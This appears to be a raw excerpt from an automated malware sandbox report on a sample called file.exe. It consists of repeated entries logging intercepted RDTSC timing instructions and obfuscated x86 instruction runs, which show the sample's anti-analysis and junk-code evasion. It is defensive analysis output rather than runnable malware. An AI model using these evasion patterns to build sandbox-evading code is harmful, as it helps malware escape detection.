Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6072A second address: 4B60730 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60730 second address: 4B607BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F06147E6008h 0x00000009 or cl, FFFFFF98h 0x0000000c jmp 00007F06147E5FFBh 0x00000011 popfd 0x00000012 movzx eax, di 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push ecx 0x00000019 pushad 0x0000001a mov dx, cx 0x0000001d mov dx, ax 0x00000020 popad 0x00000021 mov dword ptr [esp], ebp 0x00000024 jmp 00007F06147E6004h 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F06147E5FFEh 0x00000032 sub esi, 30FBE858h 0x00000038 jmp 00007F06147E5FFBh 0x0000003d popfd 0x0000003e mov edx, ecx 0x00000040 popad 0x00000041 xchg eax, ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F06147E6001h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B607BC second address: 4B607D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B607D7 second address: 4B607DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx eax, dx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B607DF second address: 4B607E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B607E5 second address: 4B607E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B607E9 second address: 4B60803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F061450AC2Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60803 second address: 4B60846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov edi, 390566B6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [76FB65FCh] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F06147E6006h 0x0000001b adc esi, 61B231D8h 0x00000021 jmp 00007F06147E5FFBh 0x00000026 popfd 0x00000027 mov ax, 108Fh 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60846 second address: 4B60872 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c mov cl, F8h 0x0000000e mov bh, 0Bh 0x00000010 popad 0x00000011 je 00007F06868DDD25h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60872 second address: 4B60877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60877 second address: 4B60896 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F061450AC33h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60896 second address: 4B60926 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 mov ebx, 09A2CC36h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor eax, dword ptr [ebp+08h] 0x00000010 pushad 0x00000011 jmp 00007F06147E6008h 0x00000016 jmp 00007F06147E6002h 0x0000001b popad 0x0000001c and ecx, 1Fh 0x0000001f jmp 00007F06147E6000h 0x00000024 ror eax, cl 0x00000026 jmp 00007F06147E6000h 0x0000002b leave 0x0000002c jmp 00007F06147E6000h 0x00000031 retn 0004h 0x00000034 nop 0x00000035 mov esi, eax 0x00000037 lea eax, dword ptr [ebp-08h] 0x0000003a xor esi, dword ptr [001E2014h] 0x00000040 push eax 0x00000041 push eax 0x00000042 push eax 0x00000043 lea eax, dword ptr [ebp-10h] 0x00000046 push eax 0x00000047 call 00007F06191A6841h 0x0000004c push FFFFFFFEh 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F06147E6007h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60926 second address: 4B60975 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 58AEF0EAh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jmp 00007F061450AC2Ch 0x00000011 ret 0x00000012 nop 0x00000013 push eax 0x00000014 call 00007F0618ECB49Eh 0x00000019 mov edi, edi 0x0000001b jmp 00007F061450AC30h 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 jmp 00007F061450AC2Eh 0x00000027 call 00007F061450AC32h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60975 second address: 4B60982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov ebx, esi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60982 second address: 4B609B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F061450AC31h 0x00000009 jmp 00007F061450AC2Bh 0x0000000e popfd 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 mov dx, 9F12h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B609B0 second address: 4B609D0 instructions: 0x00000000 rdtsc 0x00000002 call 00007F06147E6003h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B609D0 second address: 4B60A03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F061450AC2Dh 0x0000000c xor si, E896h 0x00000011 jmp 00007F061450AC31h 0x00000016 popfd 0x00000017 popad 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60A03 second address: 4B60A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60A07 second address: 4B60A0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60A0B second address: 4B60A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B100C1 second address: 4B10118 instructions: 0x00000000 rdtsc 0x00000002 call 00007F061450AC30h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov di, 9296h 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F061450AC2Ch 0x00000015 xchg eax, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov dl, 8Fh 0x0000001b pushfd 0x0000001c jmp 00007F061450AC36h 0x00000021 sbb ecx, 1FEF39E8h 0x00000027 jmp 00007F061450AC2Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10118 second address: 4B10130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E6004h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10130 second address: 4B10134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10134 second address: 4B10156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a mov dh, al 0x0000000c movsx ebx, cx 0x0000000f popad 0x00000010 mov dword ptr [esp], ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F06147E5FFDh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10156 second address: 4B101AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c pushad 0x0000000d push eax 0x0000000e jmp 00007F061450AC33h 0x00000013 pop eax 0x00000014 mov di, 774Ch 0x00000018 popad 0x00000019 push esp 0x0000001a jmp 00007F061450AC30h 0x0000001f mov dword ptr [esp], esi 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 jmp 00007F061450AC2Dh 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B101AE second address: 4B101FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F06147E6003h 0x00000009 and ah, 0000005Eh 0x0000000c jmp 00007F06147E6009h 0x00000011 popfd 0x00000012 jmp 00007F06147E6000h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov esi, dword ptr [ebp+08h] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B101FD second address: 4B10201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10201 second address: 4B10256 instructions: 0x00000000 rdtsc 0x00000002 mov dx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F06147E6006h 0x0000000d and ah, FFFFFFB8h 0x00000010 jmp 00007F06147E5FFBh 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, edi 0x00000018 pushad 0x00000019 call 00007F06147E6004h 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 call 00007F06147E5FFDh 0x00000026 pop eax 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10256 second address: 4B102E3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F061450AC2Ah 0x0000000d xchg eax, edi 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F061450AC2Eh 0x00000015 xor al, FFFFFFA8h 0x00000018 jmp 00007F061450AC2Bh 0x0000001d popfd 0x0000001e call 00007F061450AC38h 0x00000023 pushfd 0x00000024 jmp 00007F061450AC32h 0x00000029 xor ch, 00000038h 0x0000002c jmp 00007F061450AC2Bh 0x00000031 popfd 0x00000032 pop ecx 0x00000033 popad 0x00000034 test esi, esi 0x00000036 jmp 00007F061450AC2Fh 0x0000003b je 00007F0686928F66h 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 mov esi, edx 0x00000046 pushad 0x00000047 popad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B102E3 second address: 4B102E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B102E9 second address: 4B102ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B102ED second address: 4B103C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f pushad 0x00000010 pushad 0x00000011 mov bh, cl 0x00000013 push edi 0x00000014 pop esi 0x00000015 popad 0x00000016 movsx ebx, cx 0x00000019 popad 0x0000001a je 00007F0686C0431Ah 0x00000020 jmp 00007F06147E5FFCh 0x00000025 mov edx, dword ptr [esi+44h] 0x00000028 jmp 00007F06147E6000h 0x0000002d or edx, dword ptr [ebp+0Ch] 0x00000030 pushad 0x00000031 mov ax, 01EDh 0x00000035 pushfd 0x00000036 jmp 00007F06147E5FFAh 0x0000003b sbb ecx, 0D81FD88h 0x00000041 jmp 00007F06147E5FFBh 0x00000046 popfd 0x00000047 popad 0x00000048 test edx, 61000000h 0x0000004e jmp 00007F06147E6006h 0x00000053 jne 00007F0686C04310h 0x00000059 pushad 0x0000005a movsx edi, si 0x0000005d popad 0x0000005e test byte ptr [esi+48h], 00000001h 0x00000062 pushad 0x00000063 mov esi, 602BA171h 0x00000068 pushfd 0x00000069 jmp 00007F06147E5FFEh 0x0000006e adc cx, 7248h 0x00000073 jmp 00007F06147E5FFBh 0x00000078 popfd 0x00000079 popad 0x0000007a jne 00007F0686C042F3h 0x00000080 push eax 0x00000081 push edx 0x00000082 jmp 00007F06147E6005h 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00694 second address: 4B0069A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0069A second address: 4B0069E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0069E second address: 4B006A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B006A2 second address: 4B006EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F06147E6008h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F06147E6000h 0x00000014 mov ebp, esp 0x00000016 jmp 00007F06147E6000h 0x0000001b and esp, FFFFFFF8h 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B006EE second address: 4B007A9 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 637ECCA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F061450AC36h 0x0000000f sub esi, 54FC7878h 0x00000015 jmp 00007F061450AC2Bh 0x0000001a popfd 0x0000001b popad 0x0000001c xchg eax, ebx 0x0000001d jmp 00007F061450AC36h 0x00000022 push eax 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F061450AC2Ch 0x0000002a sub ax, 6208h 0x0000002f jmp 00007F061450AC2Bh 0x00000034 popfd 0x00000035 popad 0x00000036 xchg eax, ebx 0x00000037 jmp 00007F061450AC36h 0x0000003c xchg eax, esi 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007F061450AC2Eh 0x00000044 sub si, D798h 0x00000049 jmp 00007F061450AC2Bh 0x0000004e popfd 0x0000004f mov ah, 99h 0x00000051 popad 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F061450AC31h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B007A9 second address: 4B00882 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F06147E6007h 0x00000009 sub ax, 5DBEh 0x0000000e jmp 00007F06147E6009h 0x00000013 popfd 0x00000014 mov si, 2F07h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, esi 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F06147E6008h 0x00000023 sbb ah, FFFFFFE8h 0x00000026 jmp 00007F06147E5FFBh 0x0000002b popfd 0x0000002c mov dx, si 0x0000002f popad 0x00000030 mov esi, dword ptr [ebp+08h] 0x00000033 pushad 0x00000034 pushad 0x00000035 call 00007F06147E5FFEh 0x0000003a pop ecx 0x0000003b pushfd 0x0000003c jmp 00007F06147E5FFBh 0x00000041 sub ah, FFFFFFDEh 0x00000044 jmp 00007F06147E6009h 0x00000049 popfd 0x0000004a popad 0x0000004b push eax 0x0000004c jmp 00007F06147E6007h 0x00000051 pop esi 0x00000052 popad 0x00000053 mov ebx, 00000000h 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F06147E5FFBh 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00882 second address: 4B0089A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0089A second address: 4B008FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d jmp 00007F06147E6006h 0x00000012 je 00007F0686C0BAC1h 0x00000018 jmp 00007F06147E6000h 0x0000001d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000024 jmp 00007F06147E6000h 0x00000029 mov ecx, esi 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov eax, edi 0x00000030 pushad 0x00000031 popad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B008FA second address: 4B00909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC2Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00909 second address: 4B00956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F0686C0BA88h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 call 00007F06147E5FFEh 0x00000016 pop eax 0x00000017 pushfd 0x00000018 jmp 00007F06147E5FFBh 0x0000001d or esi, 5DBB2ACEh 0x00000023 jmp 00007F06147E6009h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00956 second address: 4B00966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00966 second address: 4B0096A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0096A second address: 4B009B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [76FB6968h], 00000002h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007F061450AC33h 0x00000018 sub ecx, 2F7F558Eh 0x0000001e jmp 00007F061450AC39h 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B009B0 second address: 4B00A0B instructions: 0x00000000 rdtsc 0x00000002 movzx esi, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F06147E5FFDh 0x0000000d sub al, FFFFFFC6h 0x00000010 jmp 00007F06147E6001h 0x00000015 popfd 0x00000016 popad 0x00000017 jne 00007F0686C0B9D1h 0x0000001d pushad 0x0000001e call 00007F06147E5FFCh 0x00000023 movzx esi, bx 0x00000026 pop edx 0x00000027 call 00007F06147E5FFCh 0x0000002c push esi 0x0000002d pop edi 0x0000002e pop eax 0x0000002f popad 0x00000030 mov edx, dword ptr [ebp+0Ch] 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00A0B second address: 4B00A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00A0F second address: 4B00A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00A13 second address: 4B00A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00A19 second address: 4B00A55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov ebx, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d call 00007F06147E6000h 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 mov ch, dl 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F06147E6006h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00A55 second address: 4B00A5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00A5B second address: 4B00A6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00A6A second address: 4B00A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00A6E second address: 4B00A72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00A72 second address: 4B00A78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00A78 second address: 4B00AD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b movzx eax, di 0x0000000e pushfd 0x0000000f jmp 00007F06147E6009h 0x00000014 adc ax, 1A06h 0x00000019 jmp 00007F06147E6001h 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F06147E6003h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00AD8 second address: 4B00ADC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00ADC second address: 4B00AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00B38 second address: 4B00B3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00B3E second address: 4B00B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00B42 second address: 4B00B5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00B5D second address: 4B00B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00B61 second address: 4B00B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00B67 second address: 4B00B6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00B6D second address: 4B00B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10DC5 second address: 4B10DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10DC9 second address: 4B10DCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10DCF second address: 4B10DF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 42h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F06147E6005h 0x00000012 pop esi 0x00000013 mov ecx, edx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10B16 second address: 4B10B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
